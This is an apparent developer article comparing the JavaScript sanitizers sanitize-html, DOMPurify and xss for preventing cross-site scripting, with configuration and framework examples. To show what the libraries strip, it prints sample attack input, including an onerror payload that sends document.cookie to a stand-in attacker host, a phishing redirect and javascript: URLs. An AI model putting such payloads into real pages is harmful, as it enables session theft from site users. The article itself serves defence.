sanitize-html vs DOMPurify vs xss: XSS Prevention in JavaScript (2026)
TL;DR
sanitize-html is the best choice for server-side HTML sanitization (Node.js) — configurable allowlists for tags and attributes, used when processing user-submitted HTML like blog posts or comments. DOMPurify is the gold standard for client-side browser sanitization — DOM-based, extremely fast, handles edge cases that regex-based sanitizers miss, and powers many rich text editors. xss is a lightweight alternative with a simple API — good for basic use cases. In 2026: use sanitize-html on the server, DOMPurify in the browser, and never trust HTML from users without sanitization.
Key Takeaways
- sanitize-html: ~3M weekly downloads — server-side (Node.js), configurable allowlists, actively maintained
- dompurify: ~7M weekly downloads — browser-side (DOM-based), fastest, handles all bypass techniques
- xss: ~2M weekly downloads — simpler API, both browser and server, allowlist/denylist approach
- XSS attacks inject malicious
<script>tags that steal cookies, redirect users, or hijack sessions - Never sanitize with regex alone — always use a dedicated library with DOM parsing
- DOMPurify requires a DOM environment — use dompurify with jsdom for server-side use
The XSS Problem
<!-- User submits a comment with this HTML: -->
<p>Check out this article! <a href="javascript:document.cookie">Click here</a></p>
<img src="x" onerror="fetch('https://attacker.com/steal?c='+document.cookie)">
<script>window.location = 'https://phishing.com'</script>
<style>body { display: none }</style>
<svg><animate onbegin="alert('XSS')"/></svg>
<!-- What SHOULD be rendered: -->
<p>Check out this article! <a href="...">Click here</a></p>
<!-- An image (if the src is valid) -->
<!-- What sanitizers do: -->
<!-- Remove <script>, <style>, event handlers (onerror, onbegin), -->
<!-- javascript: URLs, and dangerous attributes -->
sanitize-html
sanitize-html — server-side HTML sanitizer:
Basic usage
import sanitizeHtml from "sanitize-html"
// Simple sanitization with defaults (blocks almost everything):
const dirty = `<h1>Title</h1> <script>alert('xss')</script> <p>Text</p>`
const clean = sanitizeHtml(dirty)
// "<h1>Title</h1> <p>Text</p>" — script removed
// Custom allowlist — only allow specific tags and attributes:
const userInput = `
<h2>My Blog Post</h2>
<p>Visit <a href="https://example.com" onclick="steal()">this site</a></p>
<img src="photo.jpg" onerror="malicious()" alt="Photo">
<script>alert('xss')</script>
<style>body { color: red }</style>
`
const safe = sanitizeHtml(userInput, {
allowedTags: [
"h1", "h2", "h3", "h4", "h5", "h6",
"p", "br", "strong", "em", "u", "s",
"ul", "ol", "li",
"blockquote", "pre", "code",
"a", "img",
"table", "thead", "tbody", "tr", "th", "td",
],
allowedAttributes: {
"a": ["href", "title", "target"],
"img": ["src", "alt", "width", "height"],
"td": ["colspan", "rowspan"],
"th": ["colspan", "rowspan", "scope"],
"*": ["class"], // Allow class on all elements
},
// Validate URLs:
allowedSchemes: ["https", "http", "mailto"],
allowedSchemesByTag: {
img: ["https", "data"], // Allow data: URLs for embedded images
},
// Remove invalid or empty attributes:
allowedSchemesAppliedToAttributes: ["href", "src"],
})
// onclick, onerror are stripped — they're not in allowedAttributes
// <script> and <style> are removed — not in allowedTags
// javascript: href is removed — not in allowedSchemes
Rich text editor output sanitization
import sanitizeHtml from "sanitize-html"
// Common config for sanitizing output from rich text editors
// (Quill, TipTap, ProseMirror, Lexical):
const richTextConfig: sanitizeHtml.IOptions = {
allowedTags: sanitizeHtml.defaults.allowedTags.concat([
"img", "span", "del", "ins", "sup", "sub",
"details", "summary", "figure", "figcaption",
]),
allowedAttributes: {
...sanitizeHtml.defaults.allowedAttributes,
"*": ["class", "style"],
"a": ["href", "target", "rel"],
"img": ["src", "alt", "width", "height", "loading"],
},
// Only allow safe CSS properties:
allowedStyles: {
"*": {
"color": [/^#[0-9a-fA-F]{3,6}$/, /^rgb\(\d+,\s*\d+,\s*\d+\)$/],
"text-align": [/^(left|right|center|justify)$/],
"font-size": [/^\d+(\.\d+)?(px|em|rem)$/],
},
},
// Transform allowed tags:
transformTags: {
// Convert all links to rel="noopener noreferrer" and target="_blank":
"a": (tagName, attribs) => ({
tagName,
attribs: {
...attribs,
rel: "noopener noreferrer",
target: "_blank",
},
}),
},
}
function sanitizeRichText(html: string): string {
return sanitizeHtml(html, richTextConfig)
}
Sanitize in Express route
import express from "express"
import sanitizeHtml from "sanitize-html"
import { db } from "./db"
const app = express()
app.use(express.json())
// POST /api/comments
app.post("/api/comments", async (req, res) => {
const { content, postId } = req.body
if (!content || !postId) {
return res.status(400).json({ error: "content and postId required" })
}
// Sanitize user content before storing:
const sanitizedContent = sanitizeHtml(content, {
allowedTags: ["p", "br", "strong", "em", "code", "pre", "a"],
allowedAttributes: {
"a": ["href"],
},
allowedSchemes: ["https", "http"],
})
const comment = await db.comment.create({
data: {
content: sanitizedContent, // Store sanitized HTML
postId,
createdAt: new Date(),
},
})
res.json(comment)
})
DOMPurify
DOMPurify — DOM-based client-side sanitizer:
Browser usage
import DOMPurify from "dompurify"
// Basic sanitization:
const dirty = `<img src=x onerror=alert(1)> <p onclick=steal()>Text</p>`
const clean = DOMPurify.sanitize(dirty)
// "<img src="x"> <p>Text</p>"
// DOMPurify is DOM-based — it creates a DOM node, lets the browser parse the HTML,
// then walks the DOM and removes dangerous elements/attributes.
// This is more secure than regex-based approaches because the browser's HTML parser
// handles edge cases that regex can't.
// Return as a string (default):
const html = DOMPurify.sanitize(userContent)
// Return as a DOM DocumentFragment:
const fragment = DOMPurify.sanitize(userContent, { RETURN_DOM_FRAGMENT: true })
document.getElementById("output")?.appendChild(fragment)
// Force parsing as HTML (vs default):
const result = DOMPurify.sanitize(userContent, { FORCE_BODY: true })
Configuration
import DOMPurify from "dompurify"
// Allow specific tags/attributes beyond defaults:
const result = DOMPurify.sanitize(content, {
ALLOWED_TAGS: ["b", "i", "em", "strong", "a", "p", "ul", "li"],
ALLOWED_ATTR: ["href", "class"],
})
// Allow only data-* attributes:
const withData = DOMPurify.sanitize(content, {
ALLOW_DATA_ATTR: true,
})
// Add a hook — called for each node:
DOMPurify.addHook("afterSanitizeAttributes", (node) => {
// Force all links to open in a new tab:
if (node.tagName === "A") {
node.setAttribute("target", "_blank")
node.setAttribute("rel", "noopener noreferrer")
}
})
React usage (safe innerHTML)
import DOMPurify from "dompurify"
interface SafeHtmlProps {
html: string
className?: string
}
// Safe dangerouslySetInnerHTML wrapper:
function SafeHtml({ html, className }: SafeHtmlProps) {
const sanitized = DOMPurify.sanitize(html, {
ALLOWED_TAGS: ["p", "br", "strong", "em", "a", "ul", "li", "h1", "h2", "h3"],
ALLOWED_ATTR: ["href", "class"],
})
return (
<div
className={className}
dangerouslySetInnerHTML={{ __html: sanitized }}
/>
)
}
// Usage:
<SafeHtml html={post.content} className="prose" />
Server-side with jsdom
// DOMPurify requires a DOM environment — on Node.js, use jsdom:
import { JSDOM } from "jsdom"
import DOMPurify from "dompurify"
const window = new JSDOM("").window
const purify = DOMPurify(window)
function sanitize(html: string): string {
return purify.sanitize(html)
}
// Note: sanitize-html is usually better for server-side use
// DOMPurify + jsdom adds significant overhead
xss
xss — whitelist-based XSS sanitizer:
Basic usage
import xss from "xss"
// Default — removes most tags:
const clean = xss(userInput)
// Custom configuration:
const customXss = new xss.FilterXSS({
whiteList: {
a: ["href", "title", "target"],
p: [],
strong: [],
em: [],
br: [],
ul: ["class"],
li: [],
},
onTag(tag, html, options) {
// Return null to remove the tag
// Return html to keep it
},
onTagAttr(tag, name, value, isWhiteAttr) {
// Return null to remove the attribute
// Return a string to use that as the attribute value
if (name === "href") {
// Block javascript: URLs:
if (/^javascript:/i.test(value.trim())) {
return ""
}
}
},
})
const result = customXss.process(userInput)
Feature Comparison
| Feature | sanitize-html | DOMPurify | xss |
|---|---|---|---|
| Best environment | Server (Node.js) | Browser | Both |
| DOM-based parsing | ❌ | ✅ (most secure) | ❌ |
| CSS property sanitization | ✅ | ❌ | ❌ |
| Tag transformation hooks | ✅ | ✅ | ✅ |
| Zero dependencies | ❌ | ✅ (browser) | ✅ |
| jsdom support | N/A | ✅ (needed for Node) | N/A |
| TypeScript | ✅ | ✅ | ✅ |
| Performance | Good | ⚡ Fastest (DOM) | Good |
| Weekly downloads | ~3M | ~7M | ~2M |
When to Use Each
Choose sanitize-html if:
- Sanitizing HTML on the server before storing in a database
- Processing user-submitted blog posts, comments, or rich text
- Need to allow specific CSS styles (column for style)
- Want to transform tags (e.g., auto-add
rel="noopener"to all links)
Choose DOMPurify if:
- Sanitizing in the browser before rendering (React's dangerouslySetInnerHTML)
- Need the most secure approach — DOM parsing catches edge cases
- Running in environments that already have a DOM (browser, Deno with DOM APIs)
- Want zero dependencies in the browser
Choose xss if:
- Simple use case with basic whitelist control
- Need to run in both Node.js and browser without jsdom overhead
- Building a comment system with minimal HTML allowed
Never do this:
// ❌ DON'T: Trust user HTML without sanitization:
<div dangerouslySetInnerHTML={{ __html: userContent }} />
// ❌ DON'T: Use regex to strip tags — easily bypassed:
const bad = userInput.replace(/<script>.*?<\/script>/gi, "")
// Bypassed by: <sCrIpT>, <script/>, split across lines, etc.
// ❌ DON'T: Escape HTML for rich text (it removes all formatting):
const escaped = content.replace(/&/g, "&").replace(/</g, "<")
// User loses all their <b>, <p>, <a> formatting
// ✅ DO: Sanitize with a library:
const safe = sanitizeHtml(userContent, { allowedTags: [...], allowedAttributes: {...} })
Methodology
Download data from npm registry (weekly average, February 2026). Feature comparison based on sanitize-html v2.x, DOMPurify v3.x, and xss v1.x.
Compare security and content processing packages on PkgPulse →